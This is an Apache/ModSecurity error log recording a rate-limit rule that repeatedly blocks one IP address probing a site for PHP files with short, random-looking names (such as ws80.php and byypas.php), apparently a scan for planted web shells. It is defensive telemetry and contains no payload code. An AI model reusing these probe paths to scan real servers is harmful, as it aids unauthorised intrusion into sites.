[Tue Apr 14 02:35:52.046520 2026] [:error] [pid 59914:tid 59953] [client 20.220.194.201:33571] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "ad03iOq0YMmB3OWbbUlh3gAAAEk"]
[Tue Apr 14 02:35:52.777034 2026] [:error] [pid 59913:tid 59931] [client 20.220.194.201:20419] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "ad03iK5XvQ9C-gZtr2y8GAAAAA4"]
[Tue Apr 14 02:35:53.574494 2026] [:error] [pid 59915:tid 59994] [client 20.220.194.201:31896] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "ad03iYeTNdEemByf99hWVwAAAJc"]
[Tue Apr 14 02:35:55.219932 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:3829] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6kDPjgFTmvS.php"] [unique_id "ad03i4eTNdEemByf99hWYQAAAIE"]
[Tue Apr 14 02:35:56.353397 2026] [:error] [pid 59913:tid 59933] [client 20.220.194.201:4046] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "ad03jK5XvQ9C-gZtr2y8GwAAABA"]
[Tue Apr 14 02:35:57.337919 2026] [:error] [pid 59914:tid 59953] [client 20.220.194.201:22427] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "ad03jeq0YMmB3OWbbUlh5wAAAEk"]
[Tue Apr 14 02:35:58.326220 2026] [:error] [pid 60317:tid 60345] [client 20.220.194.201:33522] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "ad03jrBo7Bc8I7P_P--8YgAAAMU"]
[Tue Apr 14 02:35:59.109432 2026] [:error] [pid 59914:tid 59956] [client 20.220.194.201:28976] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/varb.php"] [unique_id "ad03j-q0YMmB3OWbbUlh7QAAAEw"]
[Tue Apr 14 02:35:59.584943 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:24566] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "ad03j4eTNdEemByf99hWZwAAAIg"]
[Tue Apr 14 02:36:00.204575 2026] [:error] [pid 59913:tid 59921] [client 20.220.194.201:13678] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "ad03kK5XvQ9C-gZtr2y8IAAAAAQ"]
[Tue Apr 14 02:36:01.407099 2026] [:error] [pid 60317:tid 60357] [client 20.220.194.201:3377] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "ad03kbBo7Bc8I7P_P--8ZgAAANE"]
[Tue Apr 14 02:36:01.986935 2026] [:error] [pid 60317:tid 60349] [client 20.220.194.201:28948] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm15.php"] [unique_id "ad03kbBo7Bc8I7P_P--8aAAAAMk"]
[Tue Apr 14 02:36:02.495636 2026] [:error] [pid 59915:tid 59979] [client 20.220.194.201:24529] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "ad03koeTNdEemByf99hWbwAAAIg"]
[Tue Apr 14 02:36:03.005913 2026] [:error] [pid 59914:tid 59958] [client 20.220.194.201:24535] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "ad03k-q0YMmB3OWbbUlh-AAAAE4"]
[Tue Apr 14 02:36:04.203422 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:12888] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "ad03lLBo7Bc8I7P_P--8cQAAAMc"]
[Tue Apr 14 02:36:04.636766 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:31888] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clss.php"] [unique_id "ad03lLBo7Bc8I7P_P--8dAAAAMo"]
[Tue Apr 14 02:36:05.100721 2026] [:error] [pid 59913:tid 59934] [client 20.220.194.201:31645] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "ad03la5XvQ9C-gZtr2y8JQAAABE"]
[Tue Apr 14 02:36:05.519461 2026] [:error] [pid 59914:tid 59944] [client 20.220.194.201:25003] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "ad03leq0YMmB3OWbbUliAAAAAEA"]
[Tue Apr 14 02:36:06.029856 2026] [:error] [pid 59915:tid 59988] [client 20.220.194.201:22770] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "ad03loeTNdEemByf99hWdAAAAJE"]
[Tue Apr 14 02:36:06.551802 2026] [:error] [pid 59914:tid 59968] [client 20.220.194.201:21501] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/44.php"] [unique_id "ad03luq0YMmB3OWbbUliAgAAAFg"]
[Tue Apr 14 02:36:07.269509 2026] [:error] [pid 59914:tid 59959] [client 20.220.194.201:31874] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "ad03l-q0YMmB3OWbbUliBAAAAE8"]
[Tue Apr 14 02:36:07.895508 2026] [:error] [pid 59914:tid 59949] [client 20.220.194.201:22749] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "ad03l-q0YMmB3OWbbUliCAAAAEU"]
[Tue Apr 14 02:36:08.443552 2026] [:error] [pid 59914:tid 59955] [client 20.220.194.201:13672] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "ad03mOq0YMmB3OWbbUliDAAAAEs"]
[Tue Apr 14 02:36:09.054593 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:12924] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "ad03mYeTNdEemByf99hWegAAAIw"]
[Tue Apr 14 02:36:10.156926 2026] [:error] [pid 59913:tid 59929] [client 20.220.194.201:31918] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "ad03mq5XvQ9C-gZtr2y8KgAAAAw"]
[Tue Apr 14 02:36:10.832328 2026] [:error] [pid 59913:tid 59925] [client 20.220.194.201:3378] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "ad03mq5XvQ9C-gZtr2y8LQAAAAg"]
[Tue Apr 14 02:36:11.887776 2026] [:error] [pid 59915:tid 59988] [client 20.220.194.201:24993] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "ad03m4eTNdEemByf99hWfwAAAJE"]
[Tue Apr 14 02:36:12.902957 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:15966] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bo.php"] [unique_id "ad03nIeTNdEemByf99hWhAAAAIE"]
[Tue Apr 14 02:36:13.684126 2026] [:error] [pid 59915:tid 59971] [client 20.220.194.201:3336] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "ad03nYeTNdEemByf99hWhwAAAIA"]
[Tue Apr 14 02:36:14.360751 2026] [:error] [pid 59914:tid 59955] [client 20.220.194.201:12912] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "ad03nuq0YMmB3OWbbUliEgAAAEs"]
[Tue Apr 14 02:36:15.219390 2026] [:error] [pid 59915:tid 59974] [client 20.220.194.201:12919] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "ad03n4eTNdEemByf99hWjAAAAIM"]
[Tue Apr 14 02:36:15.755956 2026] [:error] [pid 59913:tid 59919] [client 20.220.194.201:22757] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "ad03n65XvQ9C-gZtr2y8NAAAAAI"]
[Tue Apr 14 02:36:16.364494 2026] [:error] [pid 59914:tid 59947] [client 20.220.194.201:27547] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "ad03oOq0YMmB3OWbbUliFQAAAEM"]
[Tue Apr 14 02:36:17.005371 2026] [:error] [pid 59915:tid 59972] [client 20.220.194.201:19129] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "ad03oYeTNdEemByf99hWkwAAAIE"]
[Tue Apr 14 02:36:17.597675 2026] [:error] [pid 59915:tid 59976] [client 20.220.194.201:27527] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "ad03oYeTNdEemByf99hWmgAAAIU"]
[Tue Apr 14 02:36:18.342121 2026] [:error] [pid 59915:tid 59984] [client 20.220.194.201:15143] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx78.php"] [unique_id "ad03ooeTNdEemByf99hWngAAAI0"]
[Tue Apr 14 02:36:18.816965 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:25803] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ad03ooeTNdEemByf99hWogAAAJI"]
[Tue Apr 14 02:36:19.280776 2026] [:error] [pid 59915:tid 59987] [client 20.220.194.201:25558] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ad03o4eTNdEemByf99hWowAAAJA"]
[Tue Apr 14 02:36:19.952975 2026] [:error] [pid 60317:tid 60358] [client 20.220.194.201:27525] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ad03o7Bo7Bc8I7P_P--8kAAAANI"]
[Tue Apr 14 02:36:20.768820 2026] [:error] [pid 59913:tid 59936] [client 20.220.194.201:25589] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "ad03pK5XvQ9C-gZtr2y8NwAAABM"]
[Tue Apr 14 02:36:21.265093 2026] [:error] [pid 60317:tid 60362] [client 20.220.194.201:21971] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ad03pbBo7Bc8I7P_P--8mAAAANY"]
[Tue Apr 14 02:36:21.944895 2026] [:error] [pid 60317:tid 60340] [client 20.220.194.201:12852] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ad03pbBo7Bc8I7P_P--8nAAAAMA"]
[Tue Apr 14 02:36:22.519597 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:15938] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ad03prBo7Bc8I7P_P--8nwAAAMM"]
[Tue Apr 14 02:36:23.371104 2026] [:error] [pid 60317:tid 60347] [client 20.220.194.201:3101] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "ad03p7Bo7Bc8I7P_P--8pgAAAMc"]
[Tue Apr 14 02:36:23.844313 2026] [:error] [pid 60317:tid 60353] [client 20.220.194.201:22003] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ad03p7Bo7Bc8I7P_P--8qQAAAM0"]
[Tue Apr 14 02:36:24.369265 2026] [:error] [pid 60317:tid 60360] [client 20.220.194.201:15960] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ad03qLBo7Bc8I7P_P--8rQAAANQ"]
[Tue Apr 14 02:36:25.251137 2026] [:error] [pid 59914:tid 59962] [client 20.220.194.201:3093] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ad03qeq0YMmB3OWbbUliHAAAAFI"]
[Tue Apr 14 02:36:25.917475 2026] [:error] [pid 59914:tid 59957] [client 20.220.194.201:19667] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fs.php"] [unique_id "ad03qeq0YMmB3OWbbUliIAAAAE0"]
[Tue Apr 14 02:36:26.415162 2026] [:error] [pid 60317:tid 60352] [client 20.220.194.201:25586] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "ad03qrBo7Bc8I7P_P--8tQAAAMw"]
[Tue Apr 14 02:36:27.052419 2026] [:error] [pid 59913:tid 59927] [client 20.220.194.201:22726] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "ad03q65XvQ9C-gZtr2y8OwAAAAo"]
[Tue Apr 14 02:36:27.492675 2026] [:error] [pid 59914:tid 59964] [client 20.220.194.201:22733] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "ad03q-q0YMmB3OWbbUliJAAAAFQ"]
[Tue Apr 14 02:36:27.929968 2026] [:error] [pid 60317:tid 60350] [client 20.220.194.201:19090] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "ad03q7Bo7Bc8I7P_P--8uwAAAMo"]
[Tue Apr 14 02:36:28.404875 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:12860] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "ad03rLBo7Bc8I7P_P--8vwAAAMM"]
[Tue Apr 14 02:36:28.925073 2026] [:error] [pid 59915:tid 59983] [client 20.220.194.201:25566] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "ad03rIeTNdEemByf99hWrgAAAIw"]
[Tue Apr 14 02:36:29.585685 2026] [:error] [pid 60317:tid 60343] [client 20.220.194.201:25850] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "ad03rbBo7Bc8I7P_P--8zAAAAMM"]
[Tue Apr 14 02:36:30.498055 2026] [:error] [pid 59915:tid 59989] [client 20.220.194.201:27558] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "ad03roeTNdEemByf99hWtwAAAJI"]
[Tue Apr 14 02:36:31.219860 2026] [:error] [pid 60317:tid 60361] [client 20.220.194.201:25561] [client 20.220.194.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws49.php"] [unique_id "ad03r7Bo7Bc8I7P_P--81wAAANU"]
